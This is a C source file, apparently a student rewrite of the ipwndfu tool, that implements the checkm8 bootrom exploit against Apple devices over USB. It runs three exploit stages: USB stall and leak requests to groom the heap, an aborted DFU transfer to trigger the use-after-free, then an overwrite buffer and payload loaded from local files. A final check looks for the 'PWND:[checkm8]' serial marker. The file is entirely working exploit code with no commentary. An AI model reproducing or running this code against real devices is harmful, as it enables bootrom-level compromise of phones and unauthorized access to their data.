124 lines
3.2 KiB
C
124 lines
3.2 KiB
C
#include <stdio.h>
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#include <string.h>
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#include <unistd.h>
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#include "checkm8.h"
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#include "libusb_helpers.h"
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int complete_stage(struct libusb_device_bundle *bundle, int stage_function(struct libusb_device_bundle *bundle))
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{
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libusb_open(bundle->device, &bundle->handle);
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libusb_set_auto_detach_kernel_driver(bundle->handle, 1);
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int ret = stage_function(bundle);
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libusb_close(bundle->handle);
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return ret;
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}
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int stage1_function(struct libusb_device_bundle *bundle)
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{
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printf("~~~ Exploit stage 1 ~~~\n");
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unsigned int i;
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stall(bundle->handle);
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for(i = 0; i < 5; i++)
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{
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no_leak(bundle->handle);
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}
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usb_req_leak(bundle->handle);
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no_leak(bundle->handle);
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libusb_reset_device(bundle->handle);
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return 0;
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}
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int stage2_function(struct libusb_device_bundle *bundle)
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{
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printf("~~~ Exploit stage 2 ~~~\n");
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unsigned char databuf[0x800];
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memset(databuf, 'A', 0x800);
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libusb1_async_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, databuf, 0x800, 1);
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libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 4, 0, 0, NULL, 0, 0);
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libusb_reset_device(bundle->handle);
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return 0;
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}
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int stage3_function(struct libusb_device_bundle *bundle)
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{
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printf("~~~ Exploit stage 3 ~~~\n");
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unsigned char overwrite_buf[1524];
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FILE *overwrite_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/exploit/bin/overwrite.bin", "r");
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fread(overwrite_buf, 1524, 1, overwrite_file);
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fclose(overwrite_file);
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unsigned char payload_buf[2400];
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FILE *payload_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/exploit/bin/payload.bin", "r");
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fread(payload_buf, 2400, 1, payload_file);
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fclose(payload_file);
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usb_req_stall(bundle->handle);
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usb_req_leak(bundle->handle);
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libusb1_no_error_ctrl_transfer(bundle->handle, 0, 0, 0, 0, overwrite_buf, 1524, 100);
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libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, payload_buf, 2048, 100);
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libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
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libusb_reset_device(bundle->handle);
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return 0;
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}
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int check_function(struct libusb_device_bundle *bundle)
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{
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unsigned char serial_buf[128];
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unsigned int i;
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struct libusb_device_handle *handle = bundle->handle;
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struct libusb_device_descriptor desc = bundle->descriptor;
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libusb_get_string_descriptor_ascii(handle, desc.iSerialNumber, serial_buf, sizeof(serial_buf));
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printf("Found device with serial %s\n", serial_buf);
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for(i = 0; i < 13; i++)
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{
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if(serial_buf[99 + i] != "PWND:[checkm8]"[i])
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{
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return 1;
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}
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}
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return 0;
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}
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int exploit_device()
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{
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libusb_context *usb_ctx = NULL;
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struct libusb_device_bundle usb_bundle;
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libusb_init(&usb_ctx);
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get_test_device(usb_ctx, &usb_bundle);
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int ret = complete_stage(&usb_bundle, stage1_function);
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if(ret == 0)
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{
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ret = complete_stage(&usb_bundle, stage2_function);
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usleep(500000);
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}
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if(ret == 0)
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{
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ret = complete_stage(&usb_bundle, stage3_function);
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usleep(500000);
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}
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if(ret == 0)
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{
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ret = complete_stage(&usb_bundle, check_function);
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}
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libusb_exit(usb_ctx);
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return ret;
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} |